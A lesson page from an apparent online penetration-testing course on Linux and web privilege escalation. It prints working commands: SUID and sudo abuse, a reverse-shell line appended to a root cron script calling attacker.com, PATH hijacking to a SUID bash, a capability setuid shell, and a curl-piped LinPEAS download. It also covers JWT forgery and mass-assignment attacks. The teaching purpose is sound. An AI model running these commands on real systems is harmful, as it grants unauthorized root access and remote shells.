Lesson 6 of 10
Privilege Escalation Techniques
Privilege escalation is the process of gaining higher permissions than initially granted. It is a critical phase in penetration testing - most attacks begin with low-privilege access and must escalate to achieve their objectives. Understanding these techniques is essential for both offensive testing and defensive hardening.
Linux Privilege Escalation Vectors
# Common Linux privilege escalation techniques
# 1. SUID Binary Exploitation
find / -perm -u=s -type f 2>/dev/null # Find all SUID binaries
# Check each against gtfobins.github.io
# Example: /usr/bin/find has SUID set
/usr/bin/find . -exec /bin/bash -p \; # -p: privileged mode (keeps SUID)
# Drops you to root shell!
# 2. Sudo Misconfigurations
sudo -l # What can current user sudo?
# (ALL) NOPASSWD: /usr/bin/nano → can edit /etc/sudoers with nano
# sudo nano /etc/sudoers → add: username ALL=(ALL) NOPASSWD: ALL → root
# 3. World-Writable Script in Cron Job Running as Root
cat /etc/crontab
# */5 * * * * root /opt/monitor.sh
ls -la /opt/monitor.sh
# -rwxrwxrwx root root /opt/monitor.sh ← world-writable!
# Append reverse shell:
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' >> /opt/monitor.sh
# Wait 5 minutes → root shell
# 4. PATH Hijacking
# Script running as root calls 'ls' without full path
cat /opt/admin.sh
# #!/bin/bash
# ls /var/log/ ← vulnerable: relative 'ls' command
# Attacker creates malicious 'ls' in writable directory:
echo '#!/bin/bash' > /tmp/ls
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' >> /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
# When admin.sh runs as root, it executes attacker's /tmp/ls → SUID bash
# 5. Kernel Exploits
uname -r # Check kernel version
searchsploit linux kernel 4.4 # Search for known exploitsWeb Application Privilege Escalation
- Mass assignment / parameter pollution: Sending unexpected parameters that the ORM maps to privileged fields. Example: POST /register with body: {name: Alice, email: a@b.com, role: admin} - if the application blindly assigns all JSON fields to the user model
- JWT role manipulation: Decode JWT, modify role claim to 'admin', forge signature (if key is weak or alg:none accepted)
- Insecure direct object reference for admin functions: Discovering admin API endpoints by changing user/ to admin/ in API paths - missing server-side role check
- Horizontal to vertical escalation: Find an IDOR to read another admin user's data → extract their password reset token → take over their admin account
Enumeration Tools for Privilege Escalation
# Automated Linux privilege escalation enumeration
# LinPEAS - comprehensive privilege escalation scanner
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
# What LinPEAS checks:
# - OS and kernel version (known exploits)
# - Sudo permissions (sudo -l)
# - SUID/SGID binaries
# - World-writable files/dirs
# - Cron jobs
# - PATH configurations
# - Network services running as root
# - Capabilities (getcap -r / 2>/dev/null)
# Linux capabilities - granular privileges (subset of root)
# Can be exploited like SUID in some cases
getcap -r / 2>/dev/null
# /usr/bin/python3.9 = cap_setuid+ep
# → python3 -c "import os; os.setuid(0); os.system('/bin/bash')"Common Mistakes
- Allowing mass parameter assignment - whitelist allowed update fields explicitly; deny-by-default for model fields that users should not control
- Not running regular internal vulnerability assessments - external pen tests find perimeter issues; internal assessments find privilege escalation paths that external attackers would use post-compromise
- Log-running services as root - most services (nginx, postgres, node) do not need root; run with a dedicated service user with minimal permissions
Tip
Tip
Practice Privilege Escalation Techniques in small, isolated examples before integrating into larger projects. Breaking concepts into small experiments builds genuine understanding faster than reading alone.
The foundational security model: Confidentiality (privacy), Integrity (trust), and Availability (uptime).
Practice Task
Note
Practice Task - (1) Write a working example of Privilege Escalation Techniques from scratch without looking at notes. (2) Modify it to handle an edge case (empty input, null value, or error state). (3) Share your solution in the Priygop community for feedback.
Quick Quiz
Common Mistake
Warning
A common mistake with Privilege Escalation Techniques is skipping edge case testing - empty inputs, null values, and unexpected data types. Always validate boundary conditions to write robust, production-ready cybersecurity code.
Key Takeaways
- Privilege escalation is the process of gaining higher permissions than initially granted.
- Mass assignment / parameter pollution: Sending unexpected parameters that the ORM maps to privileged fields. Example: POST /register with body: {name: Alice, email: a@b.com, role: admin} - if the application blindly assigns all JSON fields to the user model
- JWT role manipulation: Decode JWT, modify role claim to 'admin', forge signature (if key is weak or alg:none accepted)
- Insecure direct object reference for admin functions: Discovering admin API endpoints by changing user/ to admin/ in API paths - missing server-side role check
Finished this lesson?